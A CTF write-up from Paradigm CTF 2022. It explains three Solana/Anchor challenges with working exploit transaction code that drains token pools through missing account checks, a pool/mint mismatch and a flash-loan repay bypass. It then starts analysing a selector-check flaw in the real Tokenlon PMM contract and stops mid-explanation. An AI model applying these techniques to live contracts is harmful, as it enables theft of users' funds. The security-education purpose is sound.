# Paradigm CTF 2022 Write-up
Written by [The Duck (Theori)](https://blog.theori.io/about)

# Solhana

This is a series of challenges using Solana and [Anchor](https://anchor-lang.com).

In `server/src/challenge.rs`, we can see the setup and win conditions for each of the challenges. The author also provided a convenient template to use as a solver for each challenge.

## Challenge 1

### Setup

- Create `bitcoin` mint
- Call `setup_for_player` in challenge program
- Create accounts for `satoshi` pubkey
- Mint 10 `bitcoin` for `satoshi` and deposit it by caling `deposit`
- Create accounts for player
- Mint 10 `bitcoin` for player

### Win condition

- Challenge program `bitcoin` deposit account has a balance of 0

### Vulnerability

The challenge is very simple and contains only two functions we care about: `deposit` and `withdraw`. `deposit` transfers tokens from the user to the program deposit account, and then mints voucher tokens to the user. `withdraw` does the exact opposite: burn voucher tokens and then transfer tokens back to the user.

One of the most common vulnerabilities in Solana programs is to fail to properly validate the accounts that are provided. We reviewed the `Transact` accounts structures and attributes which is used for both `deposit` and `withdraw`. We noticed that the only constraint on the `voucher_mint` account is that its `mint_authority` is state. This is insufficient because an attacker could make a new mint account, mint themselves tokens, and change the mint authority to another account.

pub struct Transact<'info> {
...
    #[account(mut, constraint = voucher_mint.mint_authority == COption::Some(state.key()))]
    pub voucher_mint: Account<'info, Mint>,
...
}

In summary, we can create a fake voucher mint, mint ourselves fake voucher tokens, and then use these fake voucher tokens to withdraw from the challenge program.

### Exploit

// create a "bitoin" token account for the "attacker"
anchor.web3.SystemProgram.createAccount({
    fromPubkey: player.publicKey,
    lamports: minRentForAccount,
    newAccountPubkey: attackerKeyPair.publicKey,
    programId: spl.TOKEN_PROGRAM_ID,
    space: spl.ACCOUNT_SIZE,
}),
spl.createInitializeAccountInstruction(
    attackerKeyPair.publicKey,
    new anchor.web3.PublicKey(accounts.bitcoinMint),
    player.publicKey
),

// create a fake voucher mint account
anchor.web3.SystemProgram.createAccount({
    fromPubkey: player.publicKey,
    lamports: minRentForMint,
    newAccountPubkey: mintKeyPair.publicKey,
    programId: spl.TOKEN_PROGRAM_ID,
    space: spl.MINT_SIZE,
}),
spl.createInitializeMintInstruction(
    mintKeyPair.publicKey,
    6,
    player.publicKey,
    null
),

// create a fake voucher token account for the "attacker"
anchor.web3.SystemProgram.createAccount({
    fromPubkey: player.publicKey,
    lamports: minRentForAccount,
    newAccountPubkey: accountKeyPair.publicKey,
    programId: spl.TOKEN_PROGRAM_ID,
    space: spl.ACCOUNT_SIZE,
}),
spl.createInitializeAccountInstruction(
    accountKeyPair.publicKey,
    mintKeyPair.publicKey,
    player.publicKey
),

// mint 1000000 fake voucher tokens
spl.createMintToInstruction(
    mintKeyPair.publicKey,
    accountKeyPair.publicKey,
    player.publicKey,
    1000000
),

// change the fake voucher mint authority to `state`
spl.createSetAuthorityInstruction(
    mintKeyPair.publicKey,
    player.publicKey,
    spl.AuthorityType.MintTokens,
    new anchor.web3.PublicKey(accounts.state)
),

// withdraw using the fake voucher tokens
// This succeeds because `withdraw` checks only that the `voucherMint` mint
// authority is `state`.
program.instruction.withdraw(new BN(1000000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositAccount: new anchor.web3.PublicKey(accounts.depositAccount),
        voucherMint: mintKeyPair.publicKey,
        depositorAccount: attackerKeyPair.publicKey,
        depositorVoucherAccount: accountKeyPair.publicKey,
        tokenProgram: new anchor.web3.PublicKey(spl.TOKEN_PROGRAM_ID),
    }
}),

## Challenge 2

### Setup

- Create three mint accounts for "wormhole eth" (8 decimals), "sollet eth" (6 decimals), and "lido eth" (8 decimals)
- Create pool accounts, pool token accounts, and pool voucher mint accounts
- Mint 100,000,000 tokens of each "eth" type to the pool token accounts
- Create token accounts for the player and mint the player 1,000 tokens of each "eth" type

### Win condition

- The sum of the token accounts must be less than 150,000,000 tokens
* Note that this math is a little weird since the decimals for these mints are different.

### Vulnerability

Similar to challenge 1, the challenge program has `deposit` and `withdraw` instructions. It also has an `add_pool` instruction that we are instructed to ignore, as well as a `swap` instruction. The basic behavior of the program is that users can deposit tokens, get voucher tokens in exchange, and withdraw by trading in their voucher tokens. Additionally, through the `swap` instruction, users can trade one type of deposit token for another type of deposit token, one-to-one, taking into account decimal differences.

We begin by reviewing the accounts structures, `DepositWithdraw` and `Swap`, looking for incorrect conditions. We can quickly see that `deposit_mint` in `DepositWithdraw` has no constraints, which is suspicious. Each pool account should be tied to a single deposit mint account, but currently, an attacker could specify a `deposit_mint` account that has no relationship with `pool` or `pool_account`.

pub struct DepositWithdraw<'info> {
...
    pub deposit_mint: Account<'info, Mint>,

    #[account(constraint = state.pools.contains(&pool.key()))]
    pub pool: Account<'info, Pool>,
    #[account(mut, address = pool.pool_account)]
    pub pool_account: Box<Account<'info, TokenAccount>>,

    #[account(mut, seeds = [player.key().as_ref(), VOUCHER, deposit_mint.key().as_ref()], bump)]
    pub voucher_mint: Box<Account<'info, Mint>>,
    #[account(mut, constraint =  depositor_account.mint == pool.deposit_mint)]
    pub depositor_account: Box<Account<'info, TokenAccount>>,
    #[account(mut, constraint = depositor_voucher_account.mint == voucher_mint.key())]
    pub depositor_voucher_account: Box<Account<'info, TokenAccount>>,
...
}

In summary, we can specify a `pool` and `pool_account` for one type of "eth" but specify a `deposit_mint`, `voucher_mint`, etc., for a different type of "eth". This would let us, for example, withdraw 1,000 "sollet eth" tokens from 1,000 "wormhole eth" voucher tokens, and then trade the 1,000 "sollet eth" tokens for 100,000 "wormhol eth" tokens using `swap`, which we can deposit for more vouchers. We can repeat this over and over until we have drained enough funds from the accounts.

### Exploit

// swap 1,000 sollet for 100,000 wormhole
program.instruction.swap(new BN(1000), {
    accounts: {
        player: player.publicKey,
        swapper: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
        toPool: new anchor.web3.PublicKey(accounts.woEthPool),
        fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        toPoolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        fromSwapperAccount: playerSo,
        toSwapperAccount: playerWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// deposit 100,000 wormhole for 100,000 wormhole vouchers
program.instruction.deposit(new BN(100000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
        pool: new anchor.web3.PublicKey(accounts.woEthPool),
        poolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
        depositorAccount: playerWo,
        depositorVoucherAccount: playerVoucherWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// withdraw 100,000 sollet by burning 100,000 wormhole vouchers
program.instruction.withdraw(new BN(100000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
        pool: new anchor.web3.PublicKey(accounts.soEthPool),
        poolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
        depositorAccount: playerSo,
        depositorVoucherAccount: playerVoucherWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// Swap again, and repeat...
// We have 100_000 SOLLET ETH
// We go for 10_000_000 SOLLET ETH
program.instruction.swap(new BN(100000), {
    accounts: {
        player: player.publicKey,
        swapper: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
        toPool: new anchor.web3.PublicKey(accounts.woEthPool),
        fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        toPoolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        fromSwapperAccount: playerSo,
        toSwapperAccount: playerWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
program.instruction.deposit(new BN(10000000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
        pool: new anchor.web3.PublicKey(accounts.woEthPool),
        poolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
        depositorAccount: playerWo,
        depositorVoucherAccount: playerVoucherWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
program.instruction.withdraw(new BN(10000000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
        pool: new anchor.web3.PublicKey(accounts.soEthPool),
        poolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
        depositorAccount: playerSo,
        depositorVoucherAccount: playerVoucherWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// We have 10_000_000 SOLLET ETH
// We go for 90_000_000 SOLLET ETH
program.instruction.swap(new BN(900000), {
    accounts: {
        player: player.publicKey,
        swapper: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
        toPool: new anchor.web3.PublicKey(accounts.woEthPool),
        fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        toPoolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        fromSwapperAccount: playerSo,
        toSwapperAccount: playerWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
program.instruction.deposit(new BN(90000000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
        pool: new anchor.web3.PublicKey(accounts.woEthPool),
        poolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
        depositorAccount: playerWo,
        depositorVoucherAccount: playerVoucherWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
program.instruction.withdraw(new BN(90000000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
        pool: new anchor.web3.PublicKey(accounts.soEthPool),
        poolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
        depositorAccount: playerSo,
        depositorVoucherAccount: playerVoucherWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// We can use our sollet to swap for 100,000,000 wormhole and 100,000,000 lido, and win.
program.instruction.swap(new BN(1000000), {
    accounts: {
        player: player.publicKey,
        swapper: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
        toPool: new anchor.web3.PublicKey(accounts.woEthPool),
        fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        toPoolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        fromSwapperAccount: playerSo,
        toSwapperAccount: playerWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
program.instruction.swap(new BN(1000000), {
    accounts: {
        player: player.publicKey,
        swapper: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
        toPool: new anchor.web3.PublicKey(accounts.stEthPool),
        fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        toPoolAccount: new anchor.web3.PublicKey(accounts.stEthPoolAccount),
        fromSwapperAccount: playerSo,
        toSwapperAccount: playerSt,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

## Challenge 3

### Setup

- Create mint account for `atomcoin`
- Create pool, pool account, voucher mint, etc.
- Mint 100 `atomcoin` into the pool account

### Win condition

- Reduce the balance of `atomcoin` for the pool count to 2 or less

### Vulnerability

We are told in the setup code that we only need to use the `borrow` and `repay` instructions to complete this challenge. As such, we are not given any `atomcoin`.

The `borrow` instruction acts as a flashloan. It requires that the borrowed amount is repaid in the same transaction by looking forward through the list of instructions until it finds a `repay` instruction. If the `repay` instruction has the wrong program ID or pool key, it is ignored. If the wrong amount is passed to `repay`, then it returns an error.

loop {
    if let Ok(ixn) = solana::sysvar::instructions::load_instruction_at_checked(i, &ixns) {

        // Is this a repay instruction for our program with the same pool?
        if ixn.program_id == *ctx.program_id
        && u64::from_be_bytes(ixn.data[..8].try_into().unwrap()) == REPAY_OPCODE
        && ixn.accounts[3].pubkey == ctx.accounts.pool.key() {

            // Does the repay amount match the borrow amount?
            if u64::from_le_bytes(ixn.data[8..16].try_into().unwrap()) == amount {
                break;
            } else {
                return Err(ProgramError::InvalidArgument);
            }

        } else {
            i += 1;
        }
    }
    else {
        return Err(ProgramError::InvalidInstructionData);
    }
}

Now, what happens if there are two deposits before a repay? If both of the deposit instructions were to search forward through the list of instructions, they would both find the same repay instruction. This would mean that the user could borrow twice and only need to repay once. The author prevents this scenario by having a `borrowing` flag that is set to true by the borrow instruction and then reset to false by the repay instruction. If a borrow instructions sees that this flag is set, it will return an error.

pub fn borrow(ctx: Context<Borrow>, amount: u64) -> ProgramResult {
    if ctx.accounts.pool.borrowing {
        return Err(ProgramError::InvalidAccountData);
    }
...
}

pub fn repay(ctx: Context<Repay>, amount: u64) -> ProgramResult {
...
    ctx.accounts.pool.borrowing = false;
    Ok(())
}

To reset the `borrowing` flag between two calls to borrow, we could call repay with an amount of zero, but the first borrow instruction would throw an error when it sees the repay instruction in the list of instructions. We must hide the repay zero instruction from the borrow instruction by using our program that will invoke the repay instruction internally.

### Exploit

The first step is to write our program that will invoke the repay instruction with an amount of zero. The code is very simple and we use essentially the same accounts structure as the challenge program:

#[program]
pub mod wrapper {
    use super::*;

    pub fn repay(ctx: Context<RepayWrapper>) -> ProgramResult {
        let cpi_program = ctx.accounts.challenge3_program.to_account_info();
        let cpi_accounts = Repay {
            player: ctx.accounts.player.to_account_info(),
            user: ctx.accounts.user.to_account_info(),
            state: ctx.accounts.state.to_account_info(),
            pool: ctx.accounts.pool.to_account_info(),
            pool_account: ctx.accounts.pool_account.to_account_info(),
            depositor_account: ctx.accounts.depositor_account.to_account_info(),
            token_program: ctx.accounts.token_program.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(cpi_program, cpi_accounts);
        challenge3::cpi::repay(cpi_ctx, 0);
        Ok(())
    }
}

#[derive(Accounts)]
pub struct RepayWrapper<'info> {
    /// CHECK: shut up
    pub player: AccountInfo<'info>,
    pub user: Signer<'info>,
    pub state: Account<'info, State>,
    pub pool: Account<'info, Pool>,
    pub pool_account: Account<'info, TokenAccount>,
    pub depositor_account: Account<'info, TokenAccount>,
    pub token_program: Program<'info, Token>,
    pub challenge3_program: Program<'info, Challenge3>,
}

Now we can construct our transaction with instructions that will borrow, repay 0 through our program, borrow again, and then repay once. This lets us steal half of the tokens from the pool deposit token account. We can repeat until the pool deposit token account only has one token remaining.

// Borrow 50
program.instruction.borrow(new BN(50), {
    accounts: {
        player: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
// Repay 0
wrapperProgram.instruction.repay({
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
        challenge3Program: new anchor.web3.PublicKey(accounts.programId),
    }
}),
// Borrow 50
program.instruction.borrow(new BN(50), {
    accounts: {
        player: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
// Repay 50
program.instruction.repay(new BN(50), {
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// Repay 14
// Make the number of tokens in the pool deposit token account a power of 2 (i.e., 64)
program.instruction.repay(new BN(14), {
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// We repeat the exploit for each power of two: 32, 16, 8, 4, 2, 1
// Borrow 32
program.instruction.borrow(new BN(32), {
    accounts: {
        player: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
// Repay 0
wrapperProgram.instruction.repay({
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
        challenge3Program: new anchor.web3.PublicKey(accounts.programId),
    }
}),
// Borrow 32
program.instruction.borrow(new BN(32), {
    accounts: {
        player: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
// Repay 32
program.instruction.repay(new BN(32), {
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// ...
// repeated instructions
// ...

// Borrow 1
program.instruction.borrow(new BN(1), {
    accounts: {
        player: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
// Repay 0
wrapperProgram.instruction.repay({
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
        challenge3Program: new anchor.web3.PublicKey(accounts.programId),
    }
}),
// Borrow 1
program.instruction.borrow(new BN(1), {
    accounts: {
        player: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
// Repay 1
program.instruction.repay(new BN(1), {
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

<br>

# Stealing Sats

## Description

> Stacking sats is much more enjoyable when they're not your sats.

## Setup

The setup file is very simple. When the challenge instance is created, the setup records the WBTC balance of a target address. The challenge is considered solved if `TARGET`'s WBTC balance decreases by at least 128.

contract Setup {
    ERC20Like public immutable WBTC = ERC20Like(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
    address public immutable TARGET = 0x8D90113A1e286a5aB3e496fbD1853F265e5913c6;

    uint public immutable INITIAL_BALANCE;

    constructor() {
        INITIAL_BALANCE = WBTC.balanceOf(TARGET);
    }

    function isSolved() external view returns (bool) {
        return INITIAL_BALANCE - WBTC.balanceOf(TARGET) >= 128;
    }
}

## The Target

At first glance, one may expect `TARGET` to be a contract deployed by the challenge author. The source isn't provided in the challenge handout, so maybe we'll have to fetch the bytecode and decompile it? We decided to check if the target address exists on mainnet, and sure enough, it's a real exchange settlement contract from Tokenlon.


At this point it became clear that we have to exploit a 0day.

## PMM

So what is the Tokenlon PMM contract? Thankfully, the verified source is available on etherscan. In essence, PMM is just a thin wrapper around [0x Protocol V2](https://github.com/0xProject/0x-protocol-specification/blob/master/v2/v2-specification.md) which extracts a small fee on every trade. For those unfamiliar, 0x is a protocol for order settlement where orders are created and signed off-chain. The PMM contract has only one interesting public function:

    function fill(
        uint256 userSalt,
        bytes memory data,
        bytes memory userSignature
    )
        override
        public
        payable
        onlyUserProxy
        nonReentrant
        returns (uint256)
    {
        // decode & assert
        (LibOrder.Order memory order,
        TradeInfo memory tradeInfo) = _assertTransaction(userSalt, data, userSignature);

        // Deposit to WETH if taker asset is ETH, else transfer from user
        IWETH weth = IWETH(permStorage.wethAddr());
        if (address(weth) == tradeInfo.takerAssetAddr) {
            require(
                msg.value == order.takerAssetAmount,
                "PMM: insufficient ETH"
            );
            weth.deposit{value: msg.value}();
        } else {
            spender.spendFromUser(tradeInfo.user, tradeInfo.takerAssetAddr, order.takerAssetAmount);
        }

        IERC20(tradeInfo.takerAssetAddr).safeIncreaseAllowance(zxERC20Proxy, order.takerAssetAmount);

        // send tx to 0x
        zeroExchange.executeTransaction(
            userSalt,
            address(this),
            data,
            ""
        );

        // settle token/ETH to user
        uint256 settleAmount = _settle(weth, tradeInfo.receiver, tradeInfo.makerAssetAddr, order.makerAssetAmount, tradeInfo.feeFactor);
        IERC20(tradeInfo.takerAssetAddr).safeApprove(zxERC20Proxy, 0);
        ...
        return settleAmount;
    }

At a high level, when `PMM.fillOrder` is called with a 0x order, it will extract information about the underlying trade and validate that it satisfies some constraints. It then uses the extracted information to perform the trade on behalf of the user. Calls to `PMM.fillOrder` must always come from the PMM `UserProxy`, so the `userSignature` parameter is used to ensure that end users actually initiated the trade request.

The `data` parameter is an abi-encoded call to the [0x Exchange contract](https://etherscan.io/address/0x080bf510fcbf18b91105470639e9561022937712). `PMM.fillOrder` calls `_assertTransaction(userSalt, data, userSignature)` to validate and extract order information from this encoded call:

    function _assertTransaction(
        uint256 userSalt,
        bytes memory data,
        bytes memory userSignature
    )
        internal
        view
        returns(
            LibOrder.Order memory order,
            TradeInfo memory tradeInfo
        )
    {
        // decode fillOrder data
        uint256 takerFillAmount;
        bytes memory mmSignature;
        (order, takerFillAmount, mmSignature) = decodeFillOrder(data);

        require(
            order.takerAddress == address(this),
            "PMM: incorrect taker"
        );
        require(
            order.takerAssetAmount == takerFillAmount,
            "PMM: incorrect fill amount"
        );
        
        tradeInfo.feeFactor = uint16(order.salt);

        ... // signature checking logic omitted for writeup

        // decode asset
        // just support ERC20
        tradeInfo.makerAssetAddr = decodeERC20Asset(order.makerAssetData);
        tradeInfo.takerAssetAddr = decodeERC20Asset(order.takerAssetData);
        return (
            order,
            tradeInfo
        );        
    }

    function decodeFillOrder(bytes memory data) internal pure returns(LibOrder.Order memory order, uint256 takerFillAmount, bytes memory mmSignature) {
        require(
            data.length > 800,
            "LibDecoder: LENGTH_LESS_800"
        );

        // compare method_id
        // 0x64a3bc15 is fillOrKillOrder's method id.
        require(
            data.readBytes4(0) == 0x64a3bc15,
            "LibDecoder: WRONG_METHOD_ID"
        );
        
        bytes memory dataSlice;
        assembly {
            dataSlice := add(data, 4)
        }
        return abi.decode(dataSlice, (LibOrder.Order, uint256, bytes));

    }

    function decodeERC20Asset(bytes memory assetData) internal pure returns(address) {
        require(
            assetData.length == 36,
            "LibDecoder: LENGTH_36_REQUIRED"
        );

        return assetData.readAddress(16);
    }

We see `data` must be an ecoded call to [fillOrKillOrder](https://github.com/0xProject/0x-protocol-specification/blob/master/v2/v2-specification.md#fillorkillorder). The order must only be fillable by the PMM contract (`order.takerAddress == address(this)`) and the 0x call must fill the entire order (`order.takerAssetAmount == takerFillAmount`). Normally, 0x supports partially filling limit orders, but PMM effectively disables this. Then, after validating the user has signed this trade request, PMM extracts the underlying assets being swapped in the 0x order using `decodeERC20Asset`.

Back up in `PMM.fillOrder`, PMM will accept the `takerAsset` funds from the requesting user, execute the 0x swap (swapping `takerAsset` for `makerAsset`), and finally call `_settle`, which simply extracts a fee and sends the remaining `makerAsset` funds to the user. Note that the `tradeInfo.feeFactor` is set to `order.salt`, so the fee extracted by PMM is determined by the 0x order signer.

## Finding The Bug

We first noticed that as long as the call to 0x succeeds, PMM will assume it was transfered the entire `makerAmount` of `makerAsset`, and will therefore transfer `makerAmount` back to the user (asuming no fee). So can we construct a 0x order which passes the PMM validation, but actually transfers less than `makerAmount` to PMM? Doing so will require looking into 0x internals.

Our first thought was to abuse partial order filling to bypass the `order.takerAssetAmount == takerFillAmount` check. Internally, 0x tracks how much of each order has been filled, so when filling an order, it actually uses `min256(takerFillAmount, remainingTakerAmount)` to determine the fill amount. Unfortunately, PMM is calling `fillOrKillOrder` (rather than `fillOrder`), which has an additional check that the actual fill amount was as requested, so we quickly abandoned this idea.

Another quirk of 0x order settlement is rounding errors. To determine the amount of `makerAsset` to transfer, 0x computes the floor of `takerFillAmount * makerAssetAmount / takerAssetAmount`, but will revert if the rounding error is greater than `0.1%`. Since our goal is only to steal a small amount of WBTC, it was conceivable that a tiny rounding error could achieve this. However, without using partial fills, it seemed impossible to have any rounding error at all.

Eventually, another feature of 0x order caught our attention: orders can swap between a variety of asset classes - not just ERC20s. This is possible because `makerAsset` and `takerAsset` are not simply ERC20 token addresses, but rather byte encodings of [asset proxy descriptors](https://github.com/0xProject/0x-protocol-specification/tree/master/asset-proxy). The first 4 bytes are the Proxy Selector. Similar to a solidity function selector, this selector determines which code 0x will call when transfering the asset. The remaining bytes in the asset data depend on which proxy is used:

/// @dev Function signature for encoding ERC-20 assetData.
/// @param tokenAddress Address of ERC20Token contract.
function ERC20Token(address tokenAddress) external;

/// @dev Function signature for encoding ERC-721 assetData.
/// @param tokenAddress Address of ERC-721 token contract.
/// @param tokenId Id of ERC-721 token to be transferred.
function ERC721Token(address tokenAddress, uint256 tokenId) external;

/// @dev Function signature for encoding ERC-1155 assetData.
/// @param tokenAddress Address of ERC-1155 token contract.
/// @param tokenIds Array of ids of tokens to be transferred.
/// @param values Array of values that correspond to each token id to be transferred.
///        Note that each value will be multiplied by the amount being filled in the order before transferring.
/// @param callbackData Extra data to be passed to receiver's `onERC1155Received` callback function.
function ERC1155Assets(
    address tokenAddress,
    uint256[] calldata tokenIds,
    uint256[] calldata values,
    bytes calldata callbackData
) external;

// NOTE: other proxies are omitted

Note that although the asset encodings mimic solidity function calls, the proxies are actually each their own contract implementing the following interface:

contract IAssetProxy is
    IAuthorizable
{
    /// @dev Transfers assets. Either succeeds or throws.
    /// @param assetData Byte array encoded for the respective asset proxy.
    /// @param from Address to transfer asset from.
    /// @param to Address to transfer asset to.
    /// @param amount Amount of asset to transfer.
    function transferFrom(
        bytes assetData,
        address from,
        address to,
        uint256 amount                                                                                                             )
        external;

    /// @dev Gets the proxy id associated with the proxy address.
    /// @return Proxy id.
    function getProxyId()
        external
        pure
        returns (bytes4);
}

Recall how PMM extracted the `makerAsset` address:

    function decodeERC20Asset(bytes memory assetData) internal pure returns(address) {
        require(
            assetData.length == 36,
            "LibDecoder: LENGTH_36_REQUIRED"
        );

        return assetData.readAddress(16);
    }

It is expecting the `assetData` to be `ERC20Token(address)`. It correctly checks that the length is 36 bytes, but it doesn't check the selector. Tis may seem safe, because none of the other asset encodings are 36 bytes long, but consider what happens if you truncate a different type of `assetData` to 36 bytes. Specifically, let's look at the ERC721 proxy, where the expected encoding is `abi.encodeWithSelector(ERC721_PROXY_SELECTOR, erc721TokenAddress, tokenId)`. If we omit the `tokenId`, this is 36 bytes long, and has the `erc721TokenAddress` at the same offset that the `erc20TokenAddress` would be. What happens if the ERC721 proxy is called with truncated `assetData`?

        assembly {
            // The first 4 bytes of calldata holds the function selector
            let selector := and(calldataload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000)

            // `transferFrom` will be called with the following parameters:
            // assetData Encoded byte array.
            // from Address to transfer asset from.
            // to Address to transfer asset to.
            // amount Amount of asset to transfer.
